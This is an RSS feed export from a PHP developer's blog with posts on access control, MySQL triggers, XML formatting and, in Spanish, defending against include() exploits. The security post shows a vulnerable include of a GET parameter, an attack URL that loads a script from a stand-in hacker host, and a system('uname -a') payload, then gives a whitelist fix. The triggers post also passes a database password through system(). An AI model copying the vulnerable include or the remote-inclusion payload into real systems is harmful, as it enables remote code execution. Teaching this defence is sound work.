        <span style="color: #000088;">$role</span>    <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">rdauth</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getUserRole</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #666666; font-style: italic;">//</span>
&nbsp;
        <span style="color: #666666; font-style: italic;">// check access</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$method</span><span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#123;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/array_key_exists" rel="external"><span style="color: #990000;">array_key_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$method</span><span style="color: #339933;">,</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">access</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
            <span style="color: #009900;">&#123;</span>
                <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/in_array" rel="external"><span style="color: #990000;">in_array</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$role</span><span style="color: #339933;">,</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">access</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$method</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                <span style="color: #009900;">&#123;</span>
                    <span style="color: #b1b100;">return</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span>
            <span style="color: #009900;">&#125;</span>
        <span style="color: #009900;">&#125;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p style="text-align: justify;">So now, instead of just calling phpGACL API,  I&#8217;m going over the access array, checking if there is defined an array of permissions for current method, and then if this array contains the current user role.</p>
<p style="text-align: justify;">I haven&#8217;t finished defining users access control yet. There are further checks to forbid, for instance,  avoiding that some user edited other users than itself, but these kind of ID checking will be implemented later (and perhaps explained on the following post).</p>
<p style="text-align: justify;">What do you think? Do you use other approaches to get a good users access control list?</p>
]]></content:encoded>
			<wfw:commentRss>http://jorgealbaladejo.com/2009/04/24/access-control-list-acl-with-code-igniter/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Creating Triggers in MySQL from PHP</title>
		<link>http://jorgealbaladejo.com/2009/02/25/creating-triggers-in-mysql-from-php/</link>
		<comments>http://jorgealbaladejo.com/2009/02/25/creating-triggers-in-mysql-from-php/#comments</comments>
		<pubDate>Wed, 25 Feb 2009 13:01:43 +0000</pubDate>
		<dc:creator>Jorge Albaladejo</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[Php]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Web Architecture]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[stored procedures]]></category>
		<category><![CDATA[triggers]]></category>

		<guid isPermaLink="false">http://jorgealbaladejo.com/?p=283</guid>
		<description><![CDATA[On my last project, I needed to create tables periodically on a database, to partition data in several identical tables, named according to the year quarter. Instead of using MySQL 5.1 automatic partition, I preferred doing it in a more manual way, to allow accessing individual partitions if suitable to speed up queries. So I [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">On my last project, I needed to create tables periodically on a database, to partition data in several identical tables, named according to the year quarter. Instead of using MySQL 5.1 automatic partition, I preferred doing it in a more manual way, to allow accessing individual partitions if suitable to speed up queries.</p>
<p style="text-align: justify;">So I wrote a php script that would run with a cron job and every three months, create a new table, add it some triggers, and remap a MyISAM merged table on another database. Clear and easy, at the beginning. Everything went right until I went for the triggers creation&#8230;</p>
<p style="text-align: justify;"><span id="more-283"></span></p>
<p style="text-align: justify;">First of all, there is no way to use the values returned from a SELECT or SHOW statement on MySQL stored procedures: that means that tasks like remapping the merged table cannot be done with stored procedures on 5.1. Well, I would need a PHP script anyway so this wasn&#8217;t really disappointing. After all, I would create a couple of stored procedures (one to create table, another to create triggers) on the database definition, so that I would never need to know both table and triggers structure from any external script.</p>
<p style="text-align: justify;">That run with the table creation statement, but not with the triggers. As I used a prepared statement on MySQL to allow dynamic definition of tables and triggers (every quarter, a new table name), these technique has some limitations. One of them is as follows: prepared statements do not support yet create trigger sentences. So finally I had to move this part to the external script.</p>
<p style="text-align: justify;">And then started fun: mysql_query or mysqli_query php functions do not support multiple &#8211; statements (and triggers often use several because delimiters and some code is executed). What would I do?</p>
<p style="text-align: justify;">Well, perhaps there are smarter solutions, but I chose to write first a temporary file, and use it then as source for MySQL. Using &#8216;SOURCE file.sql&#8217; was tricky, because SOURCE is an instruction available on the MySQL client, not the server, so PHP cannot execute it. &#8216;LOAD DATA INFILE&#8217; was suggested in some forum&#8217;s solutions but this is limited to only data &#8211; and I wanted advanced SQL statements.</p>
<p style="text-align: justify;">Finally, the function &#8216;system&#8217; on PHP core gave me the solution: if I can call server&#8217;s system, I can just run mysql client telling it where the source SQL file is. This way &#8216;mysql -u user &#8211;password=pass &lt; file.sql&#8217; is actually mysql client who is doing the job for me.</p>
<p style="text-align: justify;">It is running, and working <img src='http://jorgealbaladejo.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://jorgealbaladejo.com/2009/02/25/creating-triggers-in-mysql-from-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Protecting your application from exploits related to include()</title>
		<link>http://jorgealbaladejo.com/2007/06/05/protege-tu-aplicacion-de-exploits-relacionados-con-include/</link>
		<comments>http://jorgealbaladejo.com/2007/06/05/protege-tu-aplicacion-de-exploits-relacionados-con-include/#comments</comments>
		<pubDate>Tue, 05 Jun 2007 11:17:16 +0000</pubDate>
		<dc:creator>Jorge Albaladejo</dc:creator>
				<category><![CDATA[Php]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Web Architecture]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[include]]></category>

		<guid isPermaLink="false">http://labs.abc-webs.net/2007/06/05/protege-tu-aplicacion-de-exploits-relacionados-con-include/</guid>
		<description><![CDATA[Como hemos visto en capítulos anteriores sobre problemas de seguridad y sql injection, hay una serie de aspectos relacionados con la seguridad a tener en cuenta a la hora de diseñar una aplicación web. Uno de los más explotados es la falla abierta por un uso indebido de la función de php include(). Veamos un [...]]]></description>
			<content:encoded><![CDATA[<p>Como hemos visto en capítulos anteriores sobre <a href="http://jorgealbaladejo.com/?p=18" title="problemas de seguridad y sql injection">problemas de seguridad y sql injection</a>, hay una serie de aspectos relacionados con la seguridad a tener en cuenta a la hora de diseñar una aplicación web. Uno de los más explotados es la falla abierta por un uso indebido de la función de php include().</p>
<p>Veamos un ejemplo:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p22code28'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p2228"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code" id="p22code28"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>a href<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;?page=home.php&quot;</span><span style="color: #339933;">&gt;</span>Home<span style="color: #339933;">&lt;/</span>a<span style="color: #339933;">&gt;</span> <span style="color: #339933;">|</span> <span style="color: #339933;">&lt;</span>a href<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;?page=contact.php&quot;</span><span style="color: #339933;">&gt;</span>Contact<span style="color: #339933;">&lt;/</span>a<span style="color: #339933;">&gt;</span>
<span style="color: #000000; font-weight: bold;">&lt;?php</span>
  <span style="color: #000088;">$page</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$page</span><span style="color: #009900;">&#41;</span>
    <span style="color: #b1b100;">include</span> <span style="color: #000088;">$page</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">else</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;404, page not found!&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>En el ejemplo anterior, pasamos como variable &#8216;$page&#8217; el nombre del archivo (php en este caso, podrí­a ser html u otra extensión), que será cargado en la lí­nea correspondiente mediante &#8216;include()&#8217;. La ausencia de filtrado de esta variable puede dejar nuestra aplicación a merced de cualquier intruso poco experimentado, veamos por qué.<br />
<span id="more-22"></span></p>
<ol>
<li>El sistema es fácilmente reconocible. La cadena &#8216;?page=paginaXXX.php&#8217; sugiere que en cada sección se está cargando un archivo externo, y que por tanto debe de haber un include cerca.</li>
<li>Si la variable no está filtrada, podemos pasarle código que haga lo que nosotros queramos. Podemos indicarle que cargue un archivo ubicado en cualquier servidor, con código que realice desde llamadas a bases de datos hasta (lo más común), envíos masivos de emails (spam). Aquí­ el problema es bastante grave porque cuando estos abusos se detectan suele ser una vez se han cometido, y eso casi siempre es tarde</li>
</ol>
<p>Supongamos un ejemplo: copiemos el código anterior en un archivo llamado &#8216;hackme.php&#8217;, pongámoslo en un servidor web, y llamémoslo pasándole este valor a la variable &#8216;$page&#8217;:  http://www.tusitio.com/hackme.php?page=http://www.hacker.com/evilscript.php</p>
<p>Esto leerá el archivo evilscript.php del servidor hacker.com y ¡lo ejecutará en tu máquina! Si el archivo evilscript.php fuera por ejemplo:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p22code29'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p2229"><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code" id="p22code29"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
  <a href="http://www.php.net/system" rel="external"><span style="color: #990000;">system</span></a> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'uname -a'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>El intruso estaría obteniendo el sistema operativo, lo que podría darle información acerca de posibles vulnerabilidades. Pero también podría, por ejemplo, leer cualquier archivo &#8216;config.php&#8217; y mostrar su contenido en pantalla ofreciendo así datos importantes sobre la aplicación, etc.</p>
<p>Es como dejar un Ferrari aparcado con las llaves puestas.</p>
<p>Para solucionar este problema de ejecución de código malicioso en nuestra aplicación, deberí­amos sustituir la lí­nea</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p22code30'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p2230"><td class="line_numbers"><pre>1
</pre></td><td class="code" id="p22code30"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">include</span> <span style="color: #000088;">$page</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>por un filtro apropiado para nuestra aplicación:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p22code31'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p2231"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="code" id="p22code31"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>a href<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;?page=home.php&quot;</span><span style="color: #339933;">&gt;</span>Home<span style="color: #339933;">&lt;/</span>a<span style="color: #339933;">&gt;</span> <span style="color: #339933;">|</span> <span style="color: #339933;">&lt;</span>a href<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;?page=contact.php&quot;</span><span style="color: #339933;">&gt;</span>Contact<span style="color: #339933;">&lt;/</span>a<span style="color: #339933;">&gt;</span>
<span style="color: #000000; font-weight: bold;">&lt;?php</span>
  <span style="color: #000088;">$page</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">switch</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$page</span><span style="color: #009900;">&#41;</span> 
  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">:</span>
    <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;home.php&quot;</span><span style="color: #339933;">:</span>
      <span style="color: #b1b100;">include</span> <span style="color: #0000ff;">&quot;home.php&quot;</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;contact.php&quot;</span><span style="color: #339933;">:</span>
      <span style="color: #b1b100;">include</span> <span style="color: #0000ff;">&quot;contact.php&quot;</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">default</span><span style="color: #339933;">:</span>
      <span style="color: #b1b100;">include</span> <span style="color: #0000ff;">&quot;404.php&quot;</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>De este modo, en nuestro sistema se ejecutará única y exclusivamente el código que se debe ejecutar. Al menos, en cuanto a lo que la función include() se refiere.</p>
]]></content:encoded>
			<wfw:commentRss>http://jorgealbaladejo.com/2007/06/05/protege-tu-aplicacion-de-exploits-relacionados-con-include/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Formatting data in XML with PHP</title>
		<link>http://jorgealbaladejo.com/2007/05/26/formateado-de-datos-en-xml/</link>
		<comments>http://jorgealbaladejo.com/2007/05/26/formateado-de-datos-en-xml/#comments</comments>
		<pubDate>Sat, 26 May 2007 21:32:30 +0000</pubDate>
		<dc:creator>Jorge Albaladejo</dc:creator>
				<category><![CDATA[Php]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Web Architecture]]></category>
		<category><![CDATA[XML]]></category>
		<category><![CDATA[actionscript]]></category>

		<guid isPermaLink="false">http://labs.abc-webs.net/2007/05/26/formateado-de-datos-en-xml/</guid>
		<description><![CDATA[Notice: Article only available in Spanish! Ahora que ya he explicado cómo crear una clase en php para leer datos de una base de datos, y que también conocemos las bases del lenguaje XML, vamos a crear una clase para formatear estos datos en XML. De este modo, podremos compartir datos entre distintos tipos de [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p><strong>Notice</strong>: Article only available in <strong>Spanish</strong>!</p></blockquote>
<p>Ahora que ya he explicado <a href="http://jorgealbaladejo.com/?p=19" title="clase dbhandler para manejar datos de la base de datos">cómo crear una clase en php para leer datos</a> de una base de datos, y que también conocemos las bases del lenguaje XML, vamos a crear una clase para formatear estos datos en XML. De este modo, podremos compartir datos entre distintos tipos de aplicaciones, sin necesidad de tener acceso al servidor de bases de datos más que en una de ellas: la pasarela de datos.</p>
<p>Una vez formateamos en correcto XML, podemos ofrecer un documento como XML puro para aplicaciones externas que quieran utilizar nuestros datos, o un RSS estándar para que nuestros visitantes sincronicen las noticias del sitio; podemos también ofrecer un servicio SOAP para aplicaciones que no sólo precisen nuestros datos sino también funciones y servicios avanzados; o podemos simplemente adjuntar una hoja de estilos xls y mostrar nuestro documento en un navegador, como lo haríamos con xhtml y css. Bastante útil, ¿no?<br />
<span id="more-20"></span><br />
<strong>Vamos allá</strong>: para la clase necesitaremos algunas propiedades que permitan almacenar el contenido, así­ como un constructor, un método para cargar datos (en arrays multidimensionales), y otro método para recuperarlos (como arrays). También necesitaremos un método toString(), o toXML más propiamente hablando para formatear directamente los datos a XML. Comencemos con el prototipo de la clase:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p20code39'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p2039"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
</pre></td><td class="code" id="p20code39"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">class</span> xml 
<span style="color: #009900;">&#123;</span>
  <span style="color: #666666; font-style: italic;">//</span>
  <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$content</span><span style="color: #339933;">;</span>
  <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$xml_version</span><span style="color: #339933;">;</span>
  <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$xml_encoding</span><span style="color: #339933;">;</span>
  <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$data_label</span><span style="color: #339933;">;</span>
  <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$item_label</span><span style="color: #339933;">;</span>
  <span style="color: #666666; font-style: italic;">//</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/** 
   * constructor; loads some default values
   */</span>
  <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> xml<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/** 
   * Gets data to show in a two dimmensional array and stores it internally
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> setContent<span style="color: #009900;">&#40;</span><span style="color: #000088;">$data</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/** 
   * Returns content from a matrix
   * @return the content
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> getContent<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/** 
   * Shows as a text string values in XML format
   * @return XML formatted data
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> toString<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/** 
   * Returns XML header
   * @return XML header
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> <a href="http://www.php.net/header" rel="external"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Para la matriz de datos, esperamos un array asociativo, donde cada elemento $content[] tenga el valor asociado al índice, correspondiente al nombre del campo de la tabla. Por ejemplo, en nuestra tabla &#8216;superheroes&#8217; con los campos &#8216;id&#8217;, &#8216;name&#8217;, &#8216;special_powers&#8217;, la matriz que la clase espera obtener es del tipo:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p20code40'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p2040"><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code" id="p20code40"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$content</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span>             <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;101&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$content</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'name'</span><span style="color: #009900;">&#93;</span>            <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;spider man&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$content</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'special_powers'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;crawling in the walls&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$content</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span>             <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;102&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$content</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'name'</span><span style="color: #009900;">&#93;</span>           <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;mosquito man&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$content</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'special_powers'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;run away from spider man&quot;</span><span style="color: #339933;">;</span>
<span style="color: #339933;">....</span></pre></td></tr></table></div>

<p>y el formato XMLque esperamos de salida es</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p20code41'); return false;">View Code</a> XML</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p2041"><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code" id="p20code41"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;data<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
  <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;item</span> <span style="color: #000066;">id</span>=<span style="color: #ff0000;">&quot;101&quot;</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;spider man&quot;</span> <span style="color: #000066;">special_powers</span>=<span style="color: #ff0000;">&quot;crawling in the walls&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000; font-weight: bold;">&lt;/item<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
  <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;item</span> <span style="color: #000066;">id</span>=<span style="color: #ff0000;">&quot;102&quot;</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;mosquito man&quot;</span> <span style="color: #000066;">special_powers</span>=<span style="color: #ff0000;">&quot;run away from spider man&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000; font-weight: bold;">&lt;/item<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
   ...
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/data<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></td></tr></table></div>

<p>podemos elegir varios formatos para el XMLde salida, en concreto usaremos el anterior, sin embargo podríamos haber utilizado un formato anidado del tipo</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p20code42'); return false;">View Code</a> XML</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p2042"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code" id="p20code42"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;data<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
  <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;item<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;id<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>101<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/id<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;name<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>spider man<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/name<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;special_powers<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>crawling in the walls<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/special_powers<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
  <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/item<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
  <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;item<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;id<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>102<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/id<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;name<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>mosquito man<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/name<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;special_powers<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>run away from spider man<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/special_powers<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
  <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/item<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/data<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></td></tr></table></div>

<p>Elijo el primer formato por sencillez, y porque siendo yo quien voy a leer de él en otras aplicaciones, no tengo que preocuparme por la compatibilidad. Si vamos a integrar nuestra pasarela XML con otros servicios o aplicaciones web, quizá nos interese saber primero qué formato espera encontrar dicha aplicación para ofrecerle datos que le resulten legibles.</p>
<p>Por otra parte, si se usa la <a href="http://jorgealbaladejo.com/?p=19">clase dbhandler</a> para proporcionar los datos en arrays a esta clase, debe modificarse la función readTable para que quede así­</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p20code43'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p2043"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
